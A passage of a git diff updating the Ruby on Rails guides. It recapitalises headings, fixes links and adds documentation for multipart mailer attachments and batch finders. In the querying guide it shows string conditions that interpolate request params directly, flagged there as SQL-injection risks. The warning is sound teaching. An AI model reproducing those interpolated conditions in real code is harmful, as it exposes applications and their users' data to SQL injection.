Rails dispense with the bundled copy of XmlSimple that it's been carting around. +* If you memoize a private method, the result will now be private. +* +String#parameterize+ accepts an optional separator: +"Quick Brown Fox".parameterize('_') => "quick_brown_fox"+. +* +number_to_phone+ accepts 7-digit phone numbers now. +* +ActiveSupport::Json.decode+ now handles +\u0000+ style escape sequences. h3. Railties @@ -532,6 +569,12 @@ Quite a bit of work was done to make sure that bits of Rails (and its dependenci You can also specify (by using the new +preload_frameworks+ option) whether the core libraries should be autoloaded at startup. This defaults to +false+ so that Rails autoloads itself piece-by-piece, but there are some circumstances where you still need to bring in everything at once - Passenger and JRuby both want to see all of Rails loaded together. +h4. rake gem Task Rewrite + +The internals of the various <code>rake gem</code> tasks have been substantially revised, to make the system work better for a variety of cases. The gem system now knows the difference between development and runtime dependencies, has a more robust unpacking system, gives better information when querying for the status of gems, and is less prone to "chicken and egg" dependency issues when you're bringing things up from scratch. There are also fixes for using gem commands under JRuby and for dependencies that try to bring in external copies of gems that are already vendored. + +* Lead Contributor: "David Dollar":http://www.workingwithrails.com/person/12240-david-dollar + h4. Other Railties Changes * The instructions for updating a CI server to build Rails have been updated and expanded. @@ -543,6 +586,8 @@ h4. Other Railties Changes * Rails Guides have been converted from AsciiDoc to Textile markup. * Scaffolded views and controllers have been cleaned up a bit. * +script/server+ now accepts a <tt>--path</tt> argument to mount a Rails application from a specific path. +* If any configured gems are missing, the gem rake tasks will skip loading much of the environment. This should solve many of the "chicken-and-egg" problems where rake gems:install couldn't run because gems were missing. +* Gems are now unpacked exactly once. This fixes issues with gems (hoe, for instance) which are packed with read-only permissions on the files. h3. Deprecated diff --git a/railties/guides/source/action_controller_overview.textile b/railties/guides/source/action_controller_overview.textile index 949a962b27..054ca99985 100644 --- a/railties/guides/source/action_controller_overview.textile +++ b/railties/guides/source/action_controller_overview.textile @@ -20,7 +20,7 @@ For most conventional RESTful applications, the controller will receive the requ A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates data from the user to the model. -NOTE: For more details on the routing process, see "Rails Routing from the Outside In":routing_outside_in.html. +NOTE: For more details on the routing process, see "Rails Routing from the Outside In":routing.html. h3. Methods and Actions @@ -83,7 +83,7 @@ class ClientsController < ActionController::Base end </ruby> -h4. Hash and array parameters +h4. Hash and Array Parameters The +params+ hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append an empty pair of square brackets "[]" to the key name: @@ -123,7 +123,7 @@ map.connect "/clients/:status", In this case, when a user opens the URL +/clients/active+, +params[:status]+ will be set to "active". When this route is used, +params[:foo]+ will also be set to "bar" just like it was passed in the query string. In the same way +params[:action]+ will contain "index". -h4. default_url_options +h4. +default_url_options+ You can set global default parameters that will be used when generating URLs with +default_url_options+. To do this, define a method with that name in your controller: @@ -180,7 +180,7 @@ ActionController::Base.session = { NOTE: Changing the secret when using the CookieStore will invalidate all existing sessions. -h4. Accessing the session +h4. Accessing the Session In your controller you can access the session through the +session+ instance method. @@ -235,7 +235,7 @@ end To reset the entire session, use +reset_session+. -h4. The flash +h4. The Flash The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for storing error messages etc. It is accessed in much the same way as the session, like a hash. Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request: @@ -288,7 +288,7 @@ class MainController < ApplicationController end </ruby> -h5. flash.now +h5. +flash.now+ By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the +create+ action fails to save a resource and you render the +new+ template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use +flash.now+ in the same way you use the normal +flash+: @@ -381,7 +381,7 @@ end Now, the +LoginsController+'s +new+ and +create+ actions will work as before without requiring the user to be logged in. The +:only+ option is used to only skip this filter for these actions, and there is also an +:except+ option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place. -h4. After filters and around filters +h4. After Filters and Around Filters In addition to before filters, you can run filters after an action has run or both before and after. The after filter is similar to the before filter, but because the action has already been run it has access to the response data that's about to be sent to the client. Obviously, after filters can not stop the action from running. @@ -403,7 +403,7 @@ private end </ruby> -h4. Other ways to use filters +h4. Other Ways to Use Filters While the most common way to use filters is by creating private methods and using *_filter to add them, there are two other ways to do the same thing. @@ -517,7 +517,7 @@ h3. The Request and Response Objects In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The +request+ method contains an instance of +AbstractRequest+ and the +response+ method returns a response object representing what is going to be sent back to the client. -h4. The +request+ object +h4. The +request+ Object The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the "API documentation":http://api.rubyonrails.org/classes/ActionController/AbstractRequest.html. Among the properties that you can access on this object are: @@ -538,7 +538,7 @@ h5. +path_parameters+, +query_parameters+, and +request_parameters+ Rails collects all of the parameters sent along with the request in the +params+ hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The +query_parameters+ hash contains parameters that were sent as part of the query string while the +request_parameters+ hash contains parameters sent as part of the post body. The +path_parameters+ hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action. -h4. The response object +h4. The +response+ Object The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values. @@ -550,7 +550,7 @@ The response object is not usually used directly, but is built up during the exe |charset|The character set being used for the response. Default is "utf-8".| |headers|Headers used for the response.| -h5. Setting custom headers +h5. Setting Custom Headers If you want to set custom headers for a response then +response.headers+ is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them automatically. If you want to add or change a header, just assign it to +response.headers+ this way: @@ -565,7 +565,7 @@ Rails comes with two built-in HTTP authentication mechanisms: * Basic Authentication * Digest Authentication -h4. HTTP basic authentication +h4. HTTP Basic Authentication HTTP basic authentication is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, +authenticate_or_request_with_http_basic+. @@ -587,7 +587,7 @@ end With this in place, you can create namespaced controllers that inherit from +AdminController+. The before filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication. -h4. HTTP digest authentication +h4. HTTP Digest Authentication HTTP digest authentication is superior to the basic authentication as it does not require the client to send an unencrypted password over the network (though HTTP basic authentication is safe over HTTPS). Using digest authentication with Rails is quite easy and only requires using one method, +authenticate_or_request_with_http_digest+. @@ -640,7 +640,7 @@ end The +download_pdf+ action in the example above will call a private method which actually generates the PDF document and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the +:disposition+ option to "inline". The opposite and default value for this option is "attachment". -h4. Sending files +h4. Sending Files If you want to send a file that already exists on disk, use the +send_file+ method. @@ -662,7 +662,7 @@ WARNING: Be careful when using data coming from the client (params, cookies, etc TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack. Although if you do need the request to go through Rails for some reason, you can set the +:x_sendfile+ option to true, and Rails will let the web server handle sending the file to the user, freeing up the Rails process to do other things. Note that your web server needs to support the +X-Sendfile+ header for this to work. -h4. RESTful downloads +h4. RESTful Downloads While +send_data+ works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the +show+ action, without any streaming: @@ -712,7 +712,7 @@ Most likely your application is going to contain bugs or otherwise throw an exce Rails' default exception handling displays a "500 Server Error" message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application: -h4. The default 500 and 404 templates +h4. The Default 500 and 404 Templates By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the +public+ folder, in +404.html+ and +500.html+ respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can't use RHTML or layouts in them, just plain HTML. diff --git a/railties/guides/source/action_mailer_basics.textile b/railties/guides/source/action_mailer_basics.textile index 71398382be..9476635ae6 100644 --- a/railties/guides/source/action_mailer_basics.textile +++ b/railties/guides/source/action_mailer_basics.textile @@ -12,9 +12,9 @@ h3. Sending Emails This section will provide a step-by-step guide to creating a mailer and its views. -h4. Walkthrough to generating a mailer +h4. Walkthrough to Generating a Mailer -h5. Create the mailer: +h5. Create the Mailer <shell> ./script/generate mailer UserMailer @@ -28,7 +28,7 @@ create test/unit/user_mailer_test.rb So we got the model, the fixtures, and the tests. -h5. Edit the model: +h5. Edit the Model +app/models/user_mailer.rb+ contains an empty mailer: @@ -60,7 +60,7 @@ Here is a quick explanation of the options presented in the preceding method. Fo The keys of the hash passed to +body+ become instance variables in the view. Thus, in our example the mailer view will have a +@user+ and a +@url+ instance variables available. -h5. Create a mailer view +h5. Create a Mailer View Create a file called +welcome_email.text.html.erb+ in +app/views/user_mailer/+. This will be the template used for the email, formatted in HTML: @@ -83,7 +83,7 @@ Create a file called +welcome_email.text.html.erb+ in +app/views/user_mailer/+. Had we wanted to send text-only emails, the file would have been called +welcome_email.text.plain.erb+. Rails sets the content type of the email to be the one in the filename. -h5. Wire it up so that the system sends the email when a user signs up +h5. Wire It Up So That the System Sends the Email When a User Signs Up There are three ways to achieve this. One is to send the email from the controller that sends the email, another is to put it in a +before_create+ callback in the user model, and the last one is to use an observer on the user model. Whether you use the second or third methods is up to you, but staying away from the first is recommended. Not because it's wrong, but because it keeps your controller clean, and keeps all logic related to the user model within the user model. This way, whichever way a user is created (from a web form, or from an API call, for example), we are guaranteed that the email will be sent. @@ -112,7 +112,7 @@ end Notice how we call +deliver_welcome_email+? In Action Mailer we send emails by calling +deliver_<method_name>+. In UserMailer, we defined a method called +welcome_email+, and so we deliver the email by calling +deliver_welcome_email+. The next section will go through how Action Mailer achieves this. -h4. Action Mailer and dynamic deliver_<method_name> methods +h4. Action Mailer and Dynamic +deliver_<method_name>+ methods So how does Action Mailer understand this +deliver_welcome_email+ call? If you read the documentation (http://api.rubyonrails.org/files/vendor/rails/actionmailer/README.html), you will find this in the "Sending Emails" section: @@ -135,7 +135,7 @@ end Hence, if the method name starts with +deliver_+ followed by any combination of lowercase letters or underscore, +method_missing+ calls +new+ on your mailer class (+UserMailer+ in our example above), sending the combination of lower case letters or underscore, along with the parameters. The resulting object is then sent the +deliver!+ method, which well... delivers it. -h4. Complete list of Action Mailer user-settable attributes +h4. Complete List of Action Mailer User-Settable Attributes |bcc| The BCC addresses of the email| |body| The body of the email. This is either a hash (in which case it specifies the variables to pass to the template when it is rendered), or a string, in which case it specifies the actual body of the message| @@ -184,7 +184,7 @@ end Just like with controller views, use +yield+ to render the view inside the layout. -h4. Generating URLs in Action Mailer views +h4. Generating URLs in Action Mailer Views URLs can be generated in mailer views using +url_for+ or named routes. Unlike controllers, the mailer instance doesn't have any context about the incoming request so you'll need to provide the +:host+, +:controller+, and +:action+: @@ -216,7 +216,7 @@ config.action_mailer.default_url_options = { :host => "example.com" } If you set a default +:host+ for your mailers you need to pass +:only_path => false+ to +url_for+. Otherwise it doesn't get included. -h4. Sending multipart emails +h4. Sending Multipart Emails Action Mailer will automatically send multipart emails if you have different templates for the same action. So, for our UserMailer example, if you have +welcome_email.text.plain.erb+ and +welcome_email.text.html.erb+ in +app/views/user_mailer+, Action Mailer will automatically send a multipart email with the HTML and text versions setup as different parts. @@ -240,7 +240,7 @@ class UserMailer < ActionMailer::Base end </ruby> -h4. Sending emails with attachments +h4. Sending Emails with Attachments Attachments can be added by using the +attachment+ method: @@ -262,6 +262,38 @@ class UserMailer < ActionMailer::Base end </ruby> +h4. Sending Multipart Emails with Attachments + +Once you use the +attachment+ method, ActionMailer will no longer automagically use the correct template based on the filename. You must declare which template you are using for each content type via the +part+ method. + +In the following example, there would be two template files, +welcome_email_html.erb+ and +welcome_email_plain.erb+ in the +app/views/user_mailer+ folder. + +<ruby> +class UserMailer < ActionMailer::Base + def welcome_email(user) + recipients user.email_address + subject "New account information" + from "system@example.com" + content_type "multipart/alternative" + + part "text/html" do |p| + p.body = render_message("welcome_email_html", :message => "<h1>HTML content</h1>") + end + + part "text/plain" do |p| + p.body = render_message("welcome_email_plain", :message => "text content") + end + + attachment :content_type => "image/jpeg", + :body => File.read("an-image.jpg") + + attachment "application/pdf" do |a| + a.body = generate_your_pdf_here() + end + end +end +</ruby> + h3. Receiving Emails Receiving and parsing emails with Action Mailer can be a rather complex endeavour. Before your email reaches your Rails app, you would have had to configure your system to somehow forward emails to your app, which needs to be listening for that. So, to receive emails in your Rails app you'll need: @@ -320,7 +352,7 @@ The following configuration options are best made in one of the environment file |default_implicit_parts_order|When a message is built implicitly (i.e. multiple parts are assembled from templates which specify the content type in their filenames) this variable controls how the parts are ordered. Defaults to ["text/html", "text/enriched", "text/plain"]. Items that appear first in the array have higher priority in the mail client and appear last in the mime encoded message. You can also pick a different order from inside a method with implicit_parts_order.| -h4. Example Action Mailer configuration +h4. Example Action Mailer Configuration An example would be: @@ -352,7 +384,7 @@ ActionMailer::Base.smtp_settings = { } </ruby> -h4. Configure Action Mailer to recognize HAML templates +h4. Configure Action Mailer to Recognize HAML Templates In +config/environment.rb+, add the following line: @@ -386,3 +418,7 @@ end </ruby> In the test we send the email and store the returned object in the +email+ variable. We then ensure that it was sent (the first assert), then, in the second batch of assertions, we ensure that the email does indeed contain the what we expect. + +h3. Changelog + +"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213/tickets/25 diff --git a/railties/guides/source/active_record_basics.textile b/railties/guides/source/active_record_basics.textile index ed3f6cdd61..afff892fd4 100644 --- a/railties/guides/source/active_record_basics.textile +++ b/railties/guides/source/active_record_basics.textile @@ -29,7 +29,7 @@ h3. Object Relational Mapping The relation between databases and object-oriented software is called ORM, which is short for "Object Relational Mapping". The purpose of an ORM framework is to minimize the mismatch existent between relational databases and object-oriented software. In applications with a domain model, we have objects that represent both the state of the system and the behavior of the real world elements that were modeled through these objects. Since we need to store the system's state somehow, we can use relational databases, which are proven to be an excellent approach to data management. Usually this may become a very hard thing to do, since we need to create an object-oriented model of everything that lives in the database, from simple columns to complicated relations between different tables. Doing this kind of thing by hand is a tedious and error prone job. This is where an ORM framework comes in. -h3. ActiveRecord as an ORM framework +h3. ActiveRecord as an ORM Framework ActiveRecord gives us several mechanisms, being the most important ones the ability to: @@ -41,7 +41,7 @@ ActiveRecord gives us several mechanisms, being the most important ones the abil It's easy to see that the Rails Active Record implementation goes way beyond the basic description of the Active Record Pattern. -h3. Active Record inside the MVC model +h3. Active Record Inside the MVC Model Active Record plays the role of model inside the MVC structure followed by Rails applications. Since model objects should encapsulate both state and logic of your applications, it's ActiveRecord responsibility to deliver you the easiest possible way to recover this data from the database. @@ -81,7 +81,7 @@ There are also some optional column names that will create additional features t NOTE: While these column names are optional they are in fact reserved by ActiveRecord. Steer clear of reserved keywords unless you want the extra functionality. For example, "type" is a reserved keyword used to designate a table using Single Table Inheritance. If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling. -h3. Creating ActiveRecord models +h3. Creating ActiveRecord Models It's very easy to create ActiveRecord models. All you have to do is to subclass the ActiveRecord::Base class and you're good to go: @@ -107,7 +107,7 @@ p.name = "Some Book" puts p.name # "Some Book" </ruby> -h3. Overriding the naming conventions +h3. Overriding the Naming Conventions What if you need to follow a different naming convention or need to use your Rails application with a legacy database? No problem, you can easily override the default conventions. diff --git a/railties/guides/source/active_record_querying.textile b/railties/guides/source/active_record_querying.textile index 03e1b264b2..442521cbf4 100644 --- a/railties/guides/source/active_record_querying.textile +++ b/railties/guides/source/active_record_querying.textile @@ -54,7 +54,7 @@ end Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the Active Record method format will always be the same. -h3. Retrieving objects from the database +h3. Retrieving Objects from the Database To retrieve objects from the database, Active Record provides a class method called +Model.find+. This method allows you to pass arguments into it to perform certain queries on your database without the need of writing raw SQL. @@ -65,11 +65,11 @@ Primary operation of <tt>Model.find(options)</tt> can be summarized as: * Instantiate the equivalent Ruby object of the appropriate model for every resulting row. * Run +after_find+ callbacks if any. -h4. Retrieving a single object +h4. Retrieving a Single Object Active Record lets you retrieve a single object using three different ways. -h5. Using a primary key +h5. Using a Primary Key Using <tt>Model.find(primary_key, options = nil)</tt>, you can retrieve the object corresponding to the supplied _primary key_ and matching the supplied options (if any). For example: @@ -87,7 +87,7 @@ SELECT * FROM clients WHERE (clients.id = 10) <tt>Model.find(primary_key)</tt> will raise an +ActiveRecord::RecordNotFound+ exception if no matching record is found. -h5. Find first +h5. +first+ <tt>Model.first(options = nil)</tt> finds the first record matched by the supplied options. If no +options+ are supplied, the first matching record is returned. For example: @@ -106,7 +106,7 @@ SELECT * FROM clients LIMIT 1 NOTE: +Model.find(:first, options)+ is equivalent to +Model.first(options)+ -h5. Find last +h5. +last+ <tt>Model.last(options = nil)</tt> finds the last record matched by the supplied options. If no +options+ are supplied, the last matching record is returned. For example: @@ -126,9 +126,9 @@ SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1 NOTE: +Model.find(:last, options)+ is equivalent to +Model.last(options)+ -h4. Retrieving multiple objects +h4. Retrieving Multiple Objects -h5. Using multiple primary keys +h5. Using Multiple Primary Keys <tt>Model.find(array_of_primary_key, options = nil)</tt> also accepts an array of _primary keys_. An array of all the matching records for the supplied _primary keys_ is returned. For example: @@ -166,17 +166,85 @@ SELECT * FROM clients NOTE: +Model.find(:all, options)+ is equivalent to +Model.all(options)+ +h4. Retrieving Multiple Objects in Batches + +Sometimes you need to iterate over a large set of records. For example to send a newsletter to all users, to export some data, etc. + +The following may seem very straight forward at first: + +<ruby> +# Very inefficient when users table has thousands of rows. +User.all.each do |user| + NewsLetter.weekly_deliver(user) +end +</ruby> + +But if the total number of rows in the table is very large, the above approach may vary from being under performant to just plain impossible. + +This is because +User.all+ makes Active Record fetch _the entire table_, build a model object per row, and keep the entire array in the memory. Sometimes that is just too many objects and demands too much memory. + +h5. +find_each+ + +To efficiently iterate over a large table, Active Record provides a batch finder method called +find_each+: + +<ruby> +User.find_each do |user| + NewsLetter.weekly_deliver(user) +end +</ruby> + +*Configuring the batch size* + +Behind the scenes +find_each+ fetches rows in batches of +1000+ and yields them one by one. The size of the underlying batches is configurable via the +:batch_size+ option. + +To fetch +User+ records in batch size of +5000+: + +<ruby> +User.find_each(:batch_size => 5000) do |user| + NewsLetter.weekly_deliver(user) +end +</ruby> + +*Starting batch find from a specific primary key* + +Records are fetched in ascending order on the primary key, which must be an integer. The +:start+ option allows you to configure the first ID of the sequence if the lowest is not the one you need. This may be useful for example to be able to resume an interrupted batch process if it saves the last processed ID as a checkpoint. + +To send newsletters only to users with the primary key starting from +2000+: + +<ruby> +User.find_each(:batch_size => 5000, :start => 2000) do |user| + NewsLetter.weekly_deliver(user) +end +</ruby> + +*Additional options* + ++find_each+ accepts the same options as the regular +find+ method. However, +:order+ and +:limit+ are needed internally and hence not allowed to be passed explicitly. + +h5. +find_in_batches+ + +You can also work by chunks instead of row by row using +find_in_batches+. This method is analogous to +find_each+, but it yields arrays of models instead: + +<ruby> +# Works in chunks of 1000 invoices at a time. +Invoice.find_in_batches(:include => :invoice_lines) do |invoices| + export.add_invoices(invoices) +end +</ruby> + +The above will yield the supplied block with +1000+ invoices every time. + h3. Conditions -The +find+ method allows you to specify conditions to limit the records returned, representing the WHERE-part of the SQL statement. Conditions can either be specified as a string, array, or hash. +The +find+ method allows you to specify conditions to limit the records returned, representing the +WHERE+-part of the SQL statement. Conditions can either be specified as a string, array, or hash. -h4. Pure string conditions +h4. Pure String Conditions If you'd like to add conditions to your find, you could just specify them in there, just like +Client.first(:conditions => "orders_count = '2'")+. This will find all clients where the +orders_count+ field's value is 2. WARNING: Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, +Client.first(:conditions => "name LIKE '%#{params[:name]}%'")+ is not safe. See the next section for the preferred way to handle conditions using an array. -h4. Array conditions +h4. Array Conditions Now what if that number could vary, say as a argument from somewhere, or perhaps from the user's level status somewhere? The find then becomes something like: @@ -208,11 +276,11 @@ Client.first(:conditions => "orders_count = #{params[:orders]}") is because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string. -TIP: For more information on the dangers of SQL injection, see the "Ruby on Rails Security Guide":../security.html#_sql_injection. +TIP: For more information on the dangers of SQL injection, see the "Ruby on Rails Security Guide":security.html#sql-injection. -h5. Placeholder conditions +h5. Placeholder Conditions -Similar to the +(?)+ replacement style of params, you can also specify keys/values hash in your Array conditions: +Similar to the +(?)+ replacement style of params, you can also specify keys/values hash in your array conditions: <ruby> Client.all(:conditions => @@ -221,7 +289,7 @@ Client.all(:conditions => This makes for clearer readability if you have a large number of variable conditions. -h5. Range conditions +h5. Range Conditions If you're looking for a range inside of a table (for example, users created in a certain timeframe) you can use the conditions option coupled with the +IN+ SQL statement for this. If you had two dates coming in from a controller you could do something like this to look for a range: @@ -243,7 +311,7 @@ SELECT * FROM users WHERE (created_at IN '2008-12-27','2008-12-28','2008-12-29','2008-12-30','2008-12-31')) </sql> -h5. Time and Date conditions +h5. Time and Date Conditions Things can get *really* messy if you pass in Time objects as it will attempt to compare your field to *every second* in that range: @@ -280,15 +348,15 @@ Client.all(:conditions => ["created_at >= ? AND created_at <= ?", params[:start_date], params[:end_date]]) </ruby> -Just like in Ruby. If you want a shorter syntax be sure to check out the "Hash Conditions":hash-conditions section later on in the guide. +Just like in Ruby. If you want a shorter syntax be sure to check out the "Hash Conditions":#hash-conditions section later on in the guide. -h4. Hash conditions +h4. Hash Conditions Active Record also allows you to pass in a hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want conditionalised and the values of how you want to conditionalise them: NOTE: Only equality, range and subset checking are possible with Hash conditions. -h5. Equality conditions +h5. Equality Conditions <ruby> Client.all(:conditions => { :locked => true }) @@ -300,7 +368,7 @@ The field name does not have to be a symbol it can also be a string: Client.all(:conditions => { 'locked' => true }) </ruby> -h5. Range conditions +h5. Range Conditions The good thing about this is that we can pass in a range for our fields without it generating a large query as shown in the preamble of this section. @@ -314,9 +382,9 @@ This will find all clients created yesterday by using a +BETWEEN+ SQL statement: SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00') </sql> -This demonstrates a shorter syntax for the examples in "Array Conditions":#arrayconditions +This demonstrates a shorter syntax for the examples in "Array Conditions":#array-conditions -h5. Subset conditions +h5. Subset Conditions If you want to find records using the +IN+ expression you can pass an array to the conditions hash: @@ -330,7 +398,7 @@ This code will generate SQL like this: SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5)) </sql> -h3. Find options +h3. Find Options Apart from +:conditions+, +Model.find+ takes a variety of other options via the options hash for customizing the resulting record set. @@ -370,13 +438,13 @@ Or ordering by multiple fields: Client.all(:order => "orders_count ASC, created_at DESC") </ruby> -h4. Selecting specific fields +h4. Selecting Specific Fields By default, <tt>Model.find</tt> selects all the fields from the result set using +select *+. To select only a subset of fields from the result set, you can specify the subset via +:select+ option on the +find+. -NOTE: If the +:select+ option is used, all the returning objects will be "read only":#readonlyobjects. +NOTE: If the +:select+ option is used, all the returning objects will be "read only":#readonly-objects. <br /> @@ -470,7 +538,7 @@ SELECT * FROM orders GROUP BY date(created_at) HAVING created_at > '2009-01-15' This will return single order objects for each day, but only for the last month. -h4. Readonly objects +h4. Readonly Objects To explicitly disallow modification/destroyal of the matching records returned by +Model.find+, you could specify the +:readonly+ option as +true+ to the find call. @@ -488,7 +556,7 @@ client.locked = false client.save </ruby> -h4. Locking records for update +h4. Locking Records for Update Locking is helpful for preventing the race conditions when updating records in the database and ensuring atomic updated. Active Record provides two locking mechanism: @@ -562,31 +630,31 @@ Item.transaction do end </ruby> -h3. Joining tables +h3. Joining Tables <tt>Model.find</tt> provides a +:joins+ option for specifying +JOIN+ clauses on the resulting SQL. There multiple different ways to specify the +:joins+ option: -h4. Using a string SQL fragment +h4. Using a String SQL Fragment You can just supply the raw SQL specifying the +JOIN+ clause to the +:joins+ option. For example: <ruby> -Client.all(:joins => 'LEFT OUTER JOIN addresses ON addresses.client_id = client.id') +Client.all(:joins => 'LEFT OUTER JOIN addresses ON addresses.client_id = clients.id') </ruby> This will result in the following SQL: <sql> -SELECT clients.* FROM clients INNER JOIN addresses ON addresses.client_id = clients.id +SELECT clients.* FROM clients LEFT OUTER JOIN addresses ON addresses.client_id = clients.id </sql> -h4. Using Array/Hash of named associations +h4. Using Array/Hash of Named Associations WARNING: This method only works with +INNER JOIN+, <br /> -Active Record lets you use the names of the "associations":association_basics.html defined on the Model, as a shortcut for specifying the +:joins+ option. +Active Record lets you use the names of the "associations":association_basics.html defined on the model as a shortcut for specifying the +:joins+ option. For example, consider the following +Category+, +Post+, +Comments+ and +Guest+ models: @@ -613,7 +681,7 @@ end Now all of the following will produce the expected join queries using +INNER JOIN+: -h5. Joining a single association +h5. Joining a Single Association <ruby> Category.all :joins => :posts @@ -626,7 +694,7 @@ SELECT categories.* FROM categories INNER JOIN posts ON posts.category_id = categories.id </sql> -h5. Joining multiple associations +h5. Joining Multiple Associations <ruby> Post.all :joins => [:category, :comments] @@ -640,21 +708,21 @@ SELECT posts.* FROM posts INNER JOIN comments ON comments.post_id = posts.id </sql> -h5. Joining nested associations (single level) +h5. Joining Nested Associations (Single Level) <ruby> Post.all :joins => {:comments => :guest} </ruby> -h5. Joining nested associations (multiple level) +h5. Joining Nested Associations (Multiple Level) <ruby> Category.all :joins => {:posts => [{:comments => :guest}, :tags]} </ruby> -h4. Specifying conditions on the joined tables +h4. Specifying Conditions on the Joined Tables -You can specify conditions on the joined tables using the regular "Array":#arrayconditions and "String":#purestringconditions conditions. "Hash conditions":#hashconditions provides a special syntax for specifying conditions for the joined tables: +You can specify conditions on the joined tables using the regular "Array":#array-conditions and "String":#pure-string-conditions conditions. "Hash conditions":#hash-conditions provides a special syntax for specifying conditions for the joined tables: <ruby> time_range = (Time.now.midnight - 1.day)..Time.now.midnight @@ -670,7 +738,7 @@ Client.all :joins => :orders, :conditions => {:orders => {:created_at => time_ra This will find all clients who have orders that were created yesterday, again using a +BETWEEN+ SQL expression. -h3. Eager loading associations +h3. Eager Loading Associations Eager loading is the mechanism for loading the associated records of the objects returned by +Model.find+ using as few queries as possible. @@ -710,11 +778,11 @@ SELECT addresses.* FROM addresses WHERE (addresses.client_id IN (1,2,3,4,5,6,7,8,9,10)) </sql> -h4. Eager loading multiple associations +h4. Eager Loading Multiple Associations -Active Record lets you eager load any possible number of associations with a single +Model.find+ call by using Array, Hash or a nested Hash of Array/Hash with +:include+ find option. +Active Record lets you eager load any possible number of associations with a single +Model.find+ call by using an array, hash, or a nested hash of array/hash with the +:include+ option. -h5. Array of multiple associations +h5. Array of Multiple Associations <ruby> Post.all :include => [:category, :comments] @@ -722,7 +790,7 @@ Post.all :include => [:category, :comments] This loads all the posts and the associated category and comments for each post. -h5. Nested assocaitions hash +h5. Nested Associations Hash <ruby> Category.find 1, :include => {:posts => [{:comments => :guest}, :tags]} @@ -730,17 +798,17 @@ Category.find 1, :include => {:posts => [{:comments => :guest}, :tags]} The above code finds the category with id 1 and eager loads all the posts associated with the found category. Additionally, it will also eager load every posts' tags and comments. Every comment's guest association will get eager loaded as well. -h4. Specifying conditions on eager loaded associations +h4. Specifying Conditions on Eager Loaded Associations -Even though Active Record lets you specify conditions on the eager loaded associations just like +:joins+, the recommended way is to use ":joins":#joiningtables instead. +Even though Active Record lets you specify conditions on the eager loaded associations just like +:joins+, the recommended way is to use ":joins":#joining-tables instead. -h3. Dynamic finders +h3. Dynamic Finders -For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called +name+ on your Client model for example, you get +find_by_name+ and +find_all_by_name+ for free from Active Record. If you have also have a +locked+ field on the Client model, you also get +find_by_locked+ and +find_all_by_locked+. +For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called +name+ on your +Client+ model for example, you get +find_by_name+ and +find_all_by_name+ for free from Active Record. If you have also have a +locked+ field on the +Client+ model, you also get +find_by_locked+ and +find_all_by_locked+. You can do +find_last_by_*+ methods too which will find the last record matching your argument. -You can specify an exclamation point (!) on the end of the dynamic finders to get them to raise an ActiveRecord::RecordNotFound error if they do not return any records, like +Client.find_by_name!("Ryan")+ +You can specify an exclamation point (!) on the end of the dynamic finders to get them to raise an +ActiveRecord::RecordNotFound+ error if they do not return any records, like +Client.find_by_name!("Ryan")+ If you want to find both by name and locked, you can chain these finders together by simply typing +and+ between the fields for example +Client.find_by_name_and_locked("Ryan", true)+. @@ -761,9 +829,9 @@ COMMIT client = Client.find_or_initialize_by_name('Ryan') </ruby> -will either assign an existing client object with the name 'Ryan' to the client local variable, or initialize a new object similar to calling +Client.new(:name => 'Ryan')+. From here, you can modify other fields in client by calling the attribute setters on it: +client.locked = true+ and when you want to write it to the database just call +save+ on it. +will either assign an existing client object with the name "Ryan" to the client local variable, or initialize a new object similar to calling +Client.new(:name => 'Ryan')+. From here, you can modify other fields in client by calling the attribute setters on it: +client.locked = true+ and when you want 